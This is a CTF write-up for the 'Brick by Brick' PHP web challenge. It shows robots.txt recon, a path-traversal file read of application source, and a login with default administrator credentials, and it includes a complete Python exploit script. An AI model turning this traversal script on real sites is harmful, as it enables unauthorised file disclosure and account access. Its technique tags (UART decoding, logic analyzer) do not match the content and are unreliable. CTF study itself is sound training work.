Brick by Brick

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: credential_reuse, hex_to_ascii, lfi_source_disclosure, path_traversal_bypass, robots_txt_recon, uart_frame_decoding

Summary

Walkthrough of the CUSTOM Web Brick by Brick. Task: a PHP site exposed internal docs in robots.txt and a vulnerable ?file= reader under /internal-docs/. Solution: path traversal disclosed source files, revealing the hidden admin dashboard, defaul

---

title: "Brick by Brick" id: 20260411_umasscybersec_brick_by_brick category: web difficulty: easy event: umasscybersec tags: ["lfi", "path_traversal", "php", "source_code_disclosure", "robots_txt", "default_credentials", "uart", "logic_analyzer", "csv", "serial_capture"] techniques: ["credential_reuse", "hex_to_ascii", "lfi_source_disclosure", "path_traversal_bypass", "robots_txt_recon", "uart_frame_decoding"] tools: ["python3", "curl", "pulseview"] indicators: ["robots.txt exposes internal documentation paths", "file read endpoint uses ?file= with local path concatenation", "Blacklist blocks only /etc/passwd instead of normalizing traversal", "PHP source disclosure reveals hidden routes and hardcoded credentials"]

Brick by Brick — UMass Cybersecurity CTF

Description

Organizer description was not preserved in the local task files.

English summary: a PHP website exposed internal documentation via robots.txt. Those documents described a file-read endpoint that could be abused with path traversal to read application source code, discover a hidden admin dashboard, and recover both credentials and the flag.

Analysis

The main clue was robots.txt, which pointed to /internal-docs/. One internal document described a file read feature that accepted ?file=.

Reading index.php showed the server prepended /var/www/html/ to the user-controlled filename and only blocked inputs starting with /etc/passwd. Because the application did not canonicalize the path, traversal sequences such as ../ still worked, giving a local file inclusion / arbitrary file read primitive.

Using that primitive on config.php revealed the hidden route /dashboard-admin.php. Reading that file then exposed default credentials administrator / administrator and the same flag constant returned after login.

Solution

1. Request robots.txt and discover /internal-docs/.
2. Read the internal documentation and identify the vulnerable ?file= endpoint.
3. Use traversal to read index.php and confirm weak blacklist-based filtering.
4. Read config.php to recover the hidden admin dashboard path.
5. Read dashboard-admin.php to obtain the default credentials and the flag constant.
6. Log in with administrator / administrator and retrieve the flag from the dashboard.

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import re
import requests

BASE = "http://brick-by-brick.web.ctf.umasscybersec.org"
SESSION = requests.Session()

def read_file(path: str) -> str:
    r = SESSION.get(f"{BASE}/internal-docs/view.php", params={"file": path}, timeout=10)
    r.raise_for_status()
    return r.text

index_php = read_file("../../../../var/www/html/index.php")
print("[+] index.php read:", "?file=" in index_php)

config_php = read_file("../../../../var/www/html/config.php")
dashboard = re.search(r"dashboard-admin\.php", config_php)
print("[+] Hidden dashboard:", dashboard.group(0) if dashboard else "not found")

dashboard_php = read_file("../../../../var/www/html/dashboard-admin.php")
flag = re.search(r"UMASS\{[^}]+\}", dashboard_php)
print("[+] Flag from source:", flag.group(0) if flag else "not found")

login = SESSION.post(
    f"{BASE}/dashboard-admin.php",
    data={"username": "administrator", "password": "administrator"},
    timeout=10,
)
login.raise_for_status()
flag_page = re.search(r"UMASS\{[^}]+\}", login.text)
print("[+] Flag after login:", flag_page.group(0) if flag_page else "not found")

Key Takeaways / Lessons

• Mastering credential_reuse, hex_to_ascii, lfi_source_disclosure, path_traversal_bypass, robots_txt_recon, uart_frame_decoding was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-11 • CUSTOM • Brick by Brick • Difficulty: Easy